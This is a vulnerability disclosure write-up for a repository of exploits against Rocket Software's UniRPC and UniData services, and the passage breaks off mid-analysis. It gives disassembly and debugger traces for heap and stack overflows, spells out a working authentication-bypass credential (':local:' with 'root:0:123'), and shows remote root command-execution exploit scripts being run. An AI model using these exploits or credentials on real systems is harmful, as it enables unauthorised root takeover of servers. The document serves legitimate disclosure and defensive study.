This repository is a collection of exploits and proofs of concept for vulnerabilities in Rocket Software's UniRPC server (and related services) that is installed along with the UniData server software. We tested UniData version 8.2.4.3001 for Linux, downloaded at the start of January 2023.

The UniRPC service typically listens on TCP port 31438, and runs as root. We tested everything with a default installation (ie, no special configuration). We've provided checksums of all the files below, to make it easier to identify the vulnerable software binaries.

This write-up will detail a number of different vulnerabilities we found, including:

- Pre-authentication heap buffer overflow in `unirpcd` service
- Pre-authentication stack buffer overflow in `udadmin_server` service
- Authentication bypass in `do_log_on_user()` library function
- Pre-authentication stack buffer overflow in `U_rep_rpc_server_submain()` library function
- Post-authentication buffer overflow in `U_get_string_value()` library function
- Post-authentication stack buffer overflow in `udapi_slave` executable
- Weak encryption in several different places
- Pre-authentication memory exhaustion in LZ4 decompression in `unirpcd` service
- Post-authentication heap overflow in `udsub` service

(Note that all of the post-authentication vulnerabilities are accessible without authenticating due to the authentication bypass in `do_log_on_user()`, which means all of these are effectively pre-authentication until that is resolved)

To demonstrate the impact of these vulnerabilities, we wrote two full exploits that will remotely run arbitrary shell commands (as root) on a target host. Specifically, udadmin_stackoverflow_password.rb and udadmin_authbypass_oscommand.rb will run the chosen shell command against a vulnerable target. The remaining scripts will crash the target application at a chosen address (typically at a debug breakpoint, since that's the best demonstration of our ability to run code).

Service overview

When UniData is installed, it creates a service for `unirpcd`, which is an RPC daemon. The RPC daemon accepts a connection, forks a new process, and processes a message sent by the client using a binary protocol (we implemented the client- side protocol in libneptune.rb.

If the first message is successfully processed, and it requests a service that exists, `unirpcd` executes a secondary process based on the `unirpcservices` file:

```
[ron@unidata bin]$ sudo cat ~/unidata/unishared/unirpc/unirpcservices
udcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
defcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
udadmin /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udadmin82 /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udserver /home/ron/unidata/unidata/bin/udsrvd * TCP/IP 0 3600
unirep82 /home/ron/unidata/unidata/bin/udsub * TCP/IP 0 3600
rmconn82 /home/ron/unidata/unidata/bin/repconn * TCP/IP 0 3600
uddaps /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
```

We tested each of those services, as well as `unirpcd` itself. To ensure we're testing the same software, here are the checksums for the executables we tested:

```
1cae78f2e190fe010b78f793fd98875295928af78e1e7eded5e9702ec08369ad  /home/ron/unidata/unishared/unirpc/unirpcd
9b96862635ae47c7df352719f5f000f5f5034d069c1b858c945fa26f918e0a80  /home/ron/unidata/unidata/bin/repconn
5186725bfd4a65b9ca82245702cf387fc5e6c4d4fa4edb9412a9ffebc7400e89  /home/ron/unidata/unidata/bin/udadmin_server
e834d7b4b37f3cf615d62c2298d4df1d4b6fca8ca5461a614b8acb3fca0905a8  /home/ron/unidata/unidata/bin/udapi_server
3c1175e8ff8f2033aa04382458ac2f8529f80037a7aa17d2a2ab8b654f9d1a4f  /home/ron/unidata/unidata/bin/udsrvd
bfd16675905dbe8e765731c97e8a68de82b3982d49b9fccf3d73e24da5c5544c  /home/ron/unidata/unidata/bin/udsub
```

A note on testing

We made a small change to `unirpcd` for testing, which disables forking to make testing easier. We called it `unirpcd-oneshot`. Here's a diff of the hexdump:

```
[ron@unidata bin]$ diff -ru0 <(hexdump -C unirpcd) <(hexdump -C unirpcd-oneshot)
--- unirpcd     2023-01-17 13:09:45.511592523 -0500
+++ unirpcd-oneshot     2023-01-17 13:09:45.511592523 -0500
@@ -1075 +1075 @@
-00004320  ec ff ff e8 f8 eb ff ff  83 f8 ff 41 89 c6 0f 84  |...........A....|
+00004320  ec ff ff 48 31 c0 90 90  83 f8 ff 41 89 c6 0f 84  |...H1......A....|
```

We're happy to provide our copy of `unirpcd-oneshot` upon request. While this change makes testing for vulnerabilities easier, it has no effect on the resultant exploits; the exploits function in both single threaded and multithreaded versions of `unirpcd`. If you test against the multithreaded version, you will have to specifically configure `gdb` to debug the child process:

```
(gdb) set follow-fork-mode child
(gdb)
```

Vulnerabilities

Pre-authentication heap buffer overflow in `unirpcd`'s packet receive

There is a heap overflow in the UniRPC daemon (`unirpcd`) when receiving the body of a packet in the `uvrpc_read_message()` function. We wrote a proof of concept in unirpc_heapoverflow_read_body.rb that crashes the service by trying to read from address 0x4141414141414141. This issue is pre-authentication, and is likely exploitable for executing arbitrary code.

Here, we show how we ran `unirpcd-oneshot` in `gdb`:

```
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=4039 - 13:12:07 - uvrpc_debugflag=9 (Debugging level)
RPCPID=4039 - 13:12:07 - portno=12345
RPCPID=4039 - 13:12:07 - res->ai_family=10, ai_socktype=1, ai_protocol=6
```

Then we run the PoC tool in another window, and see the following in the debugger:

```
RPCPID=4039 - 13:13:45 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=4039 - 13:13:45 - accept: forking
RPCPID=4039 - 13:13:45 - in accept read_packet returns 13c6a
Program received signal SIGSEGV, Segmentation fault.
_dl_fini () at dl-fini.c:194
194             if (l == l->l_real)

(gdb) bt
#0  _dl_fini () at dl-fini.c:194
#1  0x00007ffff5c2ece9 in __run_exit_handlers (status=1, listp=0x7ffff5fbc6c8 <__exit_funcs>,
run_list_atexit=run_list_atexit@entry=true) at exit.c:77
#2  0x00007ffff5c2ed37 in __GI_exit (status=<optimized out>) at exit.c:99
#3  0x0000000000404479 in accept_connection ()
#4  0x0000000000403bd9 in main ()
```

We can verify that it crashes while trying to read 0x4141414141414141:

```
(gdb) x/i $rip
=> 0x7ffff7deafc9 <_dl_fini+313>:       cmp    QWORD PTR [rcx+0x28],rcx

(gdb) print/x $rcx
$1 = 0x4141414141414141
```

To understand this issue, we have to look at the UniRPC packet header fields (we don't have the official names of this structure, so these are our best guesses):

- (1 byte) version byte (always 0x6c)
- (1 byte) other version byte (always 0x01 or 0x02)
- (1 byte) reserved / ignored
- (1 byte) reserved / ignored
- (4 bytes) body length
- (4 bytes) reserved / ignored
- (1 byte) encryption_mode
- (1 byte) is_compressed
- (1 byte) is_encrypted
- (1 byte) reserved / ignored
- (4 bytes) reserved / must be 0
- (2 bytes) argcount
- (2 bytes) data length

The `body length` argument is 4 bytes long, and must be a 32-bit positive value (ie, 0x7FFFFFFF and below):

```
.text:0000000000407580 41 8B 47 04         mov     eax, [r15+4]    ; Read the "size" field from the header
.text:0000000000407584 89 C7               mov     edi, eax
.text:0000000000407586 89 44 24 08         mov     dword ptr [rsp+88h+len], eax ; Save the length
.text:000000000040758A B8 70 3C 01 00      mov     eax, UNIRPC_ERROR_BAD_RPC_PARAMETER
.text:000000000040758F 85 FF               test    edi, edi
.text:0000000000407591 0F 8E B0 FE FF FF   jle     return_eax      ; Fail if it's negative
```

In that code, the `body length` is read into the `eax` register, then validated to ensure it's not negative. If it's negative, it returns `BAD_RPC_PARAMETER`.

A bit later, the following code executes:

```
.text:000000000040761A 8B 44 24 08         mov     eax, dword ptr [rsp+88h+len] ; Read the 'size' again
.text:000000000040761E 83 C0 17            add     eax, 17h        ; Add 0x17 - this can overflow and go
negative
.text:0000000000407621 3B 05 35 27 24 00   cmp     eax, cs:uvrpc_readbufsiz ; Compare to the size of
uvrpc_readbufsiz (0x2018 by default)
.text:0000000000407627 0F 8D 3F 02 00 00   jge     expand_read_buf_size ; Jump if we need to expand the buffer
```

In that snippet, it adds 0x17 (23) to the length and compares it against the global variable `uvrpc_readbufsiz`, which is 0x2018 (8216) by default. If it's less than 0x2018, no additional memory is allocated for the buffer. That means if we overflow the size by sending a value such as 0x7FFFFFFF, no additional memory is allocated.

Finally, this code runs to receive the body of the RPC message:

```
.text:0000000000407631 44 8B 74 24 08     mov     r14d, dword ptr [rsp+88h+len] ; Read the length from the
local variable

[...]
```

```
.text:000000000040768F 44 89 F1           mov     ecx, r14d       ; Set the `max_length` argument to
`uvrpc_readn`
.text:0000000000407692 E8 09 E6 FF FF     call    uvrpc_readn     ; Receive up to `max_length`
```

If we put a breakpoint on `recv` and execute the exploit script, we can see the `recv` function trying to receive way too much data into a buffer:

```
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

(gdb) b recv
Breakpoint 1 at 0x402a40

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=78590 - 18:19:56 - uvrpc_debugflag=9 (Debugging level)
RPCPID=78590 - 18:19:56 - portno=12345
RPCPID=78590 - 18:19:56 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[... run the script here ...]

RPCPID=78590 - 18:19:58 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=78590 - 18:19:58 - accept: forking

Breakpoint 1, __libc_recv (fd=8, buf=0x67d330, n=8216, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28       if (SINGLE_THREAD_P)
(gdb) cont
Continuing.

Breakpoint 1, __libc_recv (fd=8, buf=0x67f348, n=2147475455, flags=0) at
../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28       if (SINGLE_THREAD_P)
(gdb) cont
```

Note that it's reading 2147475455 (0x7fffdfff) bytes into a much smaller buffer. `recv()` will read as much as it has available in the buffer, then return; that means that we can overflow the heap buffer exactly as much as we want to.

Pre-authentication stack buffer overflow in `udadmin_server` (username and password fields)

The `udadmin_server` executable is run when the `udadmin` service is requested. We found two different pre-authentication stack buffer overflow vulnerabilities: one when copying the username into a buffer, and a second while copying the password. Based on the compiled executable, the vulnerable code appears to be in the `main` function in the source file `udadmin.c` on lines 803 and 805.

The root cause is that the username and password fields are read from the incoming authentication packet (opcode=15) using `u2strcpy`, which appears to mostly be a wrapper around `strcpy`, at least on Linux (it has additional logic for checking bounds, but that does not appear to execute on Linux).

After the `udadmin_server` service receives a packet with opcode=15, the second RPC argument (username) is copied into a stack buffer using `u2strcpy`:

```
.text:0000000000408AAC BF 01 00 00 00   mov     edi, 1          ; index
.text:0000000000408AB1 E8 AA 41 00 00   call    getStringVal    ; Gets the standard (type '2') string value
.text:0000000000408AB6 48 85 C0         test    rax, rax
```

```
.text:0000000000408AB9 49 89 C4         mov     r12, rax        ; <-- r12 = username

[...]

.text:0000000000409098 4C 8D AC 24 30+  lea     r13, [rsp+428h+var_2F8] ; r13 = stack buffer
.text:0000000000409098 01 00 00
.text:00000000004090A0 48 8D 15 D0 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090A0 02 00
.text:00000000004090A7 B9 23 03 00 00   mov     ecx, 323h       ; line = 803
.text:00000000004090AC 4C 89 E6         mov     rsi, r12        ; src = username
.text:00000000004090AF 4C 89 EF         mov     rdi, r13        ; dest = r13 = stack buffer
.text:00000000004090B2 E8 39 F1 FF FF   call    _u2strcpy       ; Stack overflow #1
```

Then the third argument (the password) is read into another stack buffer in the exact same way:

```
.text:00000000004090E0 BF 02 00 00 00   mov     edi, 2          ; index

[...]

.text:00000000004090E7 4C 8D A4 24 70+  lea     r12, [rsp+428h+var_2B8] ; r12 = stack buffer
.text:00000000004090E7 01 00 00
.text:00000000004090EF E8 6C 3B 00 00   call    getStringVal    ; Read the password

.text:00000000004090F4 48 8D 15 7C 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090F4 02 00
.text:00000000004090FB B9 25 03 00 00   mov     ecx, 325h       ; line = 805
.text:0000000000409100 48 89 C6         mov     rsi, rax        ; src = password
.text:0000000000409103 4C 89 E7         mov     rdi, r12        ; dest = r12 = stack buffer
.text:0000000000409106 E8 E5 F0 FF FF   call    _u2strcpy       ; <-- Stack overflow #2
```

The password has an additional twist, because it's passed to the `rpcEncrypt` function:

```
.text:0000000000408B37 4C 89 E7         mov     rdi, r12
.text:0000000000408B3A E8 F1 41 00 00   call    rpcEncrypt      ; "Decrypt" the password by inverting bytes
```

Which functionally inverts each byte in the password. That means that, despite this being a `strcpy` overflow, we can include NUL bytes. This behavior makes it much easier to exploit than it'd otherwise be, since now we just have to avoid 0xFF bytes. We wrote an exploit for this that will execute an arbitrary shell command by returning into the `system()` function. For example, we can run a shell command that creates a file:

```
$ ruby ./udadmin_stackoverflow_password.rb 10.0.0.198 31438 'kill -TERM $PPID & touch /tmp/stackoverflowtest'
Connecting to 'udadmin' service:
{:header=>
  "l\x01\x00\x00\x00\x00\x00f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>0, :extra=>1}]}
Payload sent
```

And verify that the file exists on the target to prove that the exploit ran:

```
[ron@unidata ~]$ ls -l /tmp/stackoverflowtest
-rw-r--r--. 1 root root 0 Jan 17 14:00 /tmp/stackoverflowtest
```

Note that this will fail or crash on anything but the exact version we tested with — memory-corruption exploits can be touchy about exact memory layouts defined when the binary launches (this finicky behavior is unaffected by other environmental states).

Authentication bypass in `do_log_on_user()`

The `do_log_on_user()` function in `libunidata.so` is used to authenticate remote users to a variety of RPC services. A certain username/password combination can bypass this security check, permitting users to authenticate as a special `:local:` user with a trivially guessable password.

This affects most of the RPC services we tested, and we'll use it to demonstrate the post-authentication vulnerabilities below. We chose the `udadmin_server` executable (accessed via RPC as the `udadmin` or `udadmin82` service) as our demonstration, as it can execute operating system commands. We wrote a full exploit for this issue in udadmin_authbypass_oscommand.rb.

In the `udadmin_server` handler, opcode 15 (`LogonUser`) is used to authenticate to the service. In the RPC message, the first field is opcode (as an integer). The second and third fields are the username and password (as strings). The password is encoded by negating each byte.

In the `udadmin_server` main function, the username and password field are passed into the `impersonate_user` function in `libunidata.so`:

```
.text:0000000000408B57 48 8D 94 24 00+    lea     rdx, [rsp+428h+var_328] ; arg3 = ?
.text:0000000000408B57 01 00 00
.text:0000000000408B5F 4C 89 E6           mov     rsi, r12        ; password
.text:0000000000408B62 B9 01 00 00 00     mov     ecx, 1          ; arg4 = 1 = ?
.text:0000000000408B67 4C 89 EF           mov     rdi, r13        ; username
.text:0000000000408B6A C7 84 24 00 01+    mov     [rsp+428h+var_328], 0
.text:0000000000408B6A 00 00 00 00 00+
.text:0000000000408B6A 00
.text:0000000000408B75 E8 86 F2 FF FF     call    _impersonate_user ; <-- Bypassable
.text:0000000000408B7A 85 C0              test    eax, eax
.text:0000000000408B7C 41 89 C4           mov     r12d, eax
.text:0000000000408B7F 74 45              jz      short impersonate_successful
.text:0000000000408B81 48 8B 3B           mov     rdi, [rbx]      ; stream
.text:0000000000408B84 48 8D 35 E6 7B+    lea     rsi, aLogonuserErrco ; "LogonUser: errcode=%d\n"
```

The `impersonate_user` function in `libunidata.so` is a thin wrapper around `do_log_on_user` (also in `libunidata.so`). At the top of the function, it compares the username to the literal string `:local:`, and jumps to standard PAM-based login code if it's not:

```
.text:00007FFFF7312970 ; __int64 __usercall do_log_on_user@<rax>(char *username@<rdi>, char *password@<rsi>,
int, int)
[...]
.text:00007FFFF7312985    lea     rdi, aLocal_1   ; ":local:"
.text:00007FFFF731298C    push    rbx
.text:00007FFFF731298D    mov     rbx, rsi
.text:00007FFFF7312990    mov     rsi, rbp
.text:00007FFFF7312993    sub     rsp, 10h
.text:00007FFFF7312997    repe cmpsb              ; compare "username" to ":local:"
.text:00007FFFF7312999    jnz     short username_not_local ; Jump if they aren't equal
```

Then it splits the password field at the first and second colon characters (`:`):

```
.text:00007FFFF731299B    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129A0    mov     rdi, rbx        ; s
.text:00007FFFF73129A3    call    _strchr         ; Check the password for ':'
```

```
.text:00007FFFF73129A8    test    rax, rax
.text:00007FFFF73129AB    jz      short return_error ; Return an error if the password doesn't have : in it
.text:00007FFFF73129AD    lea     rbp, [rax+1]    ; rbp = part 2 of password
.text:00007FFFF73129B1    mov     byte ptr [rax], 0
.text:00007FFFF73129B4    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129B9    mov     rdi, rbp        ; s
.text:00007FFFF73129BC    call    _strchr         ; Look for a second :
.text:00007FFFF73129C1    test    rax, rax
.text:00007FFFF73129C4    jz      short return_error ; Jump if there's no second colon
```

If the string has two colons, the library converts the second and third segments into integer values, then validates that the first field (as a local username) maps to the second field (as a local user id):

```
.text:00007FFFF7312A50 loc_7FFFF7312A50:                       ; CODE XREF: do_log_on_user+60↑j
.text:00007FFFF7312A50    test    rbp, rbp        ; Check the second part of the password
.text:00007FFFF7312A53    jz      return_error
.text:00007FFFF7312A59    xor     esi, esi        ; endptr
.text:00007FFFF7312A5B    mov     rdi, rbp        ; nptr
.text:00007FFFF7312A5E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A63    call    _strtol         ; Convert the second part to an integer
.text:00007FFFF7312A63                            ; (the return value isn't checked, so 0 works)

.text:00007FFFF7312A68    xor     esi, esi        ; endptr
.text:00007FFFF7312A6A    mov     [r12], eax
.text:00007FFFF7312A6E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A73    mov     rdi, r13        ; nptr
.text:00007FFFF7312A76    call    _strtol         ; Convert the third part to an integer
.text:00007FFFF7312A7B    test    eax, eax
.text:00007FFFF7312A7D    mov     rbp, rax
.text:00007FFFF7312A80    jz      return_error    ; Return value cannot be 0

.text:00007FFFF7312A86    mov     rdi, rbx        ; name
.text:00007FFFF7312A89    call    _getpwnam       ; Get the uid for the first part of the password
.text:00007FFFF7312A8E    test    rax, rax
.text:00007FFFF7312A91    jz      return_error    ; The user must exist

.text:00007FFFF7312A97    mov     esi, [r12]
.text:00007FFFF7312A9B    cmp     [rax+10h], esi  ; Compare the uid retrieved by `getpwnam()` with the second
field (uid)
.text:00007FFFF7312A9E    jnz     return_error    ; Jump if it's not equal

.text:00007FFFF7312AA4    xor     r8d, r8d
.text:00007FFFF7312AA7    mov     ecx, 1
.text:00007FFFF7312AAC    mov     edx, ebp        ; group
.text:00007FFFF7312AAE    mov     rdi, rbx        ; s2
.text:00007FFFF7312AB1    call    _briefReinit
```

In other words, the first field must be a valid user on the host (such as `ron` or `root`), and the second field must match the corresponding user id of that user (such as `1000` for `ron`, or the much more guessable `0` for `root`). The third field, which represents the group id, must be non-zero, but otherwise is not validated.

For example, we can use the username `:local:` with password `ron:1000:123` to authenticate as `ron` on my host. Alternatively, the username `:local:` with password `root:0:123` will work on most Linux targets.

Once that check passes, `_briefReinit` is called. We didn't reverse engineer the `_briefReinit` function, but we observe that it drops process privileges to the named user.

Once `do_log_on_user` succeeds, we are successfully authenticated to `udadmin` and can call any command we'd like. We found the opcode for `OSCommand` is `6`, which passes the parameter to the function `UDA_OSCommand`:

```
.text:000000000040B7D4                handle_opcode_6:                        ; CODE XREF: main+780↑j
.text:000000000040B7D4 48 8B 3B                       mov     rdi, [rbx]      ; stream
.text:000000000040B7D7 48 8D 35 15 50+                lea     rsi, aOpcodeOpcodeDO ; "OpCode:
opcode=%d(OSCommand)\n"
.text:000000000040B7D7 02 00
.text:000000000040B7DE BA 06 00 00 00                 mov     edx, 6
.text:000000000040B7E3 31 C0                          xor     eax, eax
.text:000000000040B7E5 E8 16 17 00 00                 call    logMsg
.text:000000000040B7EA BF 01 00 00 00                 mov     edi, 1          ; index
.text:000000000040B7EF 31 C0                          xor     eax, eax
.text:000000000040B7F1 E8 6A 14 00 00                 call    getStringVal    ; Gets the standard (type '2')
string value. Also supports the second type of string values
.text:000000000040B7F6 48 89 C7                       mov     rdi, rax        ; s
.text:000000000040B7F9 E8 C2 B8 00 00                 call    UDA_OSCommand
.text:000000000040B7FE E9 07 D5 FF FF                 jmp     loc_408D0A
```

We wrote an exploit that authenticates as root and uses `OSCommand` to execute any command the user would like:

```
$ ruby ./udadmin_authbypass_oscommand.rb 10.0.0.198 31438 'touch /tmp/authbypassdemo'
Connecting to 'udadmin' service:
[...]
{:header=>
  "l\x01\x00\x04\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>0, :extra=>4}]}
```

Once we run that command, we can validate that the file is created and therefore that the command executed:

```
[ron@unidata ~]$ ls -l /tmp/authbypassdemo
-rw-r--r--. 1 root 123 0 Jan 17 15:58 /tmp/authbypassdemo
```

Pre-authentication stack buffer overflow in `U_rep_rpc_server_submain()`

The function `U_rep_rpc_server_submain()` in `libunidata.so` has a stack buffer overflow in the username and password fields due to `u2strcpy` usage. This is the same basic vulnerability as the stack buffer overflow in `udadmin_server` discussed above, but in a library function instead of in the RPC process itself. This code appears to be found in `rep_rpc.c` on lines 693 and 694.

We found at least two different RPC services that use `U_rep_rpc_server_submain`:

- `repconn` (accessed as `rmconn82`)
- `udsub` (accessed as `unirep82`)

We created a proof of concept for each of those - repconn_stackoverflow_password.rb and udsub_stackoverflow_password.rb respectively. These aren't full exploits, but they will crash the process at a debug breakpoint (on the version we're testing).

Here is the vulnerable code from `U_rep_rpc_server_submain()` in `libunidata.so`

```
.text:00007FFFF728EF68   call    _uvrpc_read_packet ; <-- Reads the login (username/password)
.text:00007FFFF728EF6D   test    eax, eax
.text:00007FFFF728EF6F   jnz     loc_7FFFF728F025 ; Jump on fail

.text:00007FFFF728EF75   mov     rax, cs:conns
.text:00007FFFF728EF7C   mov     rsi, [rax+r12+0C230h] ; src
.text:00007FFFF728EF84   test    rsi, rsi
.text:00007FFFF728EF87   jz      loc_7FFFF728F02C

.text:00007FFFF728EF8D   lea     r14, [rsp+158h+username] ; <-- Stack buffer
.text:00007FFFF728EF92   lea     rdx, aRepRpcC   ; "rep_rpc.c"
.text:00007FFFF728EF99   mov     ecx, 2B5h
.text:00007FFFF728EF9E   lea     r13, [rsp+158h+password] ; <-- Another stack buffer
.text:00007FFFF728EFA6   mov     rdi, r14        ; dest
.text:00007FFFF728EFA9   call    _u2strcpy       ; <-- Copy the username (stack overflow)

.text:00007FFFF728EFAE   mov     rax, cs:conns
.text:00007FFFF728EFB5   lea     rdx, aRepRpcC   ; "rep_rpc.c"
.text:00007FFFF728EFBC   mov     ecx, 2B6h
.text:00007FFFF728EFC1   mov     rdi, r13        ; dest
.text:00007FFFF728EFC4   mov     rsi, [rax+r12+0C248h] ; src
.text:00007FFFF728EFCC   call    _u2strcpy       ; <-- Copy the password (stack overflow)
```

Like the previous instance of this vulnerability, password is encoded by negating each byte (this time in-line instead of using `rpcEncrypt()`:

```
.text:00007FFFF728EFE0 top_negating_loop:                      ; CODE XREF: U_rep_rpc_server_submain+23E↓j
.text:00007FFFF728EFE0    not     edx             ; Negate the current byte
.text:00007FFFF728EFE2    add     rax, 1          ; Go to the next byte
.text:00007FFFF728EFE6    mov     [rax-1], dl     ; Write the negated byte back to the string
.text:00007FFFF728EFE9    movzx   edx, byte ptr [rax] ; Read the next byte
.text:00007FFFF728EFEC    test    dl, dl          ; Check if we've reached the end
.text:00007FFFF728EFEE    jnz     short top_negating_loop
```

Which means that, unlike most `strcpy`-related vulnerabilities, we can use NUL bytes and avoid 0xFF bytes, making it much easier to exploit. The proof of concept we wrote for `repconn` (`repconn_stackoverflow_password.rb`) will cause a debug breakpoint in the `repconn` service:

```
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[...]
RPCPID=13568 - 16:16:50 - looking for service rmconn82
RPCPID=13568 - 16:16:50 - Found service=rmconn82
RPCPID=13568 - 16:16:50 - Checking host: *
RPCPID=13568 - 16:16:50 - accept: execing /home/ron/unidata/unidata/bin/repconn
process 13568 is executing new program: /home/ron/unidata/unidata/bin/repconn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401e70 in main ()

(gdb) x/i $rip-1
   0x401e6f <main+1343>:        int3
```

Similarly, the `udsub` proof of concept (`./udsub_stackoverflow_password.rb`) will do the same (though at a different address):

```
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[...]
RPCPID=13733 - 16:19:41 - looking for service unirep82
RPCPID=13733 - 16:19:41 - Found service=unirep82
RPCPID=13733 - 16:19:41 - Checking host: *
RPCPID=13733 - 16:19:41 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 13733 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000402b4c in main ()

(gdb) x/i $rip-1
   0x402b4b <main+2027>:        int3
```

Post-authentication buffer overflow in `U_get_string_value()`

The `U_get_string_value()` function in `libunidata.so` is vulnerable to a buffer overflow because it uses the `u2strcpy()` function, which is a wrapper around the standard `strcpy()` function. This is post-authentication, but can be accessed with the authentication bypass detailed above.

The vulnerable code is found in `rep_rpc.c` at line 464:

```
.text:00007FFFF728EBD0 ; int __fastcall U_get_string_value(int connection_id, char *buffer, int index)
[...]
.text:00007FFFF728EC08                 mov     r8, rsi
.text:00007FFFF728EC0B                 mov     rsi, [rdx+0C230h] ; src = third string in the packet
.text:00007FFFF728EC12                 test    rsi, rsi
.text:00007FFFF728EC15                 jz      short loc_7FFFF728EC40 ; Jump if the field is missing
.text:00007FFFF728EC17                 lea     rdx, aRepRpcC   ; filename = "rep_rpc.c"
.text:00007FFFF728EC1E                 sub     rsp, 8
.text:00007FFFF728EC22                 mov     ecx, 1D0h       ; line = 464
.text:00007FFFF728EC27                 mov     rdi, r8         ; dest = r8 = rsi = second function argument
(buffer)
.text:00007FFFF728EC2A                 call    _u2strcpy       ; <-- Vulnerable strcpy
```

Any function that calls `U_get_string_value()` is vulnerable to a buffer overflow in whatever buffer is passed into that function. We found that the `udsub` executable (accessed via service `unirep82`) calls this function using a stack-based buffer.

In `udsub`, the `main` function calls `U_sub_connect` (in `udsub`), which calls `U_unpack_conn_package` (in `libunidata.so`), which calls the vulnerable function `U_get_string_value` (also in `libunidata.so`). Here's a stack trace to help clarify (unfortunately, we don't have source file names):

```
Breakpoint 2, 0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
(gdb) bt
#0  0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
#1  0x00007ffff7202259 in U_unpack_conn_package () from /.udlibs82/libunidata.so
#2  0x000000000040361f in U_sub_connect ()
#3  0x00000000004023ea in main ()
```

We wrote a proof of concept, udsub_stackoverflow_get_string_value.rb, which will overflow the buffer and crash the process while attempting to run code at 0x4242424242424242:

```
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[...]
RPCPID=14678 - 16:37:31 - looking for service unirep82
RPCPID=14678 - 16:37:31 - Found service=unirep82
RPCPID=14678 - 16:37:31 - Checking host: *
RPCPID=14678 - 16:37:31 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 14678 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff72023fd in U_unpack_conn_package () from /.udlibs82/libunidata.so

(gdb) x/i $rip
=> 0x7ffff72023fd <U_unpack_conn_package+605>:  ret

(gdb) x/xwg $rsp
0x7fffffffd558: 0x4242424242424242
```

It crashes when trying to return from the function `U_unpack_conn_package()`. The last command shows the top of the stack (ie, the return address), which is 0x4242424242424242.

Unlike the password-based overflows, we cannot use a NUL byte so we cannot reliably return to a useful address; however, more complex exploits are likely possible.

Post-authentication stack buffer overflow in `udapi_slave`

The function `change_account()` in the binary `udapi_slave` is vulnerable to a stack-based buffer overflow due to using a user-supplied size value in `u2memcpy()`, which is a wrapper for `memcpy()`,

`udapi_slave` is a standalone executable that is not run as an RPC service; instead, it is executed by the `udapi_server` service (accessed by service name `udcs`) to process messages. The `udapi_server` service will forward message bodies directly to `udapi_slave` over a numbered Linux pipe, which processes them the same way any RPC process does (using identical unpacking functions from `libunidata.so`).

The authentication RPC message on `udapi_server` starts with two integers - one is called `comms_version` (and is used as a key to encode the password), and the other has an unknown name but has only limited values that work - possibly another version number.

The third and fourth arguments to the RPC message are a username and password. Much like the authentication bypass we discussed above, this has a special username that bypasses authentication checks, but in this service it's `::local:` instead of `:local:` (the password is still `root:0:123` or similar).

The fifth argument is referred to as `account`, and is passed into a function in `udapi_slave` called `change_account()`, which appears to be in the file `src/ud/udtapi/api_slave.c` around line 1154. The `account` argument is copied into a stack-based buffer using `u2memcpy` and has no length checks, which means it can overflow the stack-based buffer:

```
.text:000000000040FC90 ; __int64 __fastcall change_account(int account_length, char *account)
[...]
.text:000000000040FC91                 lea     rcx, aDisk1AgentWork_0 ; filename =
"/disk1/agent/workspace/ud_build/src/ud/"...
[...]
```

```
.text:000000000040FC9B                 mov     r8d, 482h       ; line = 1154
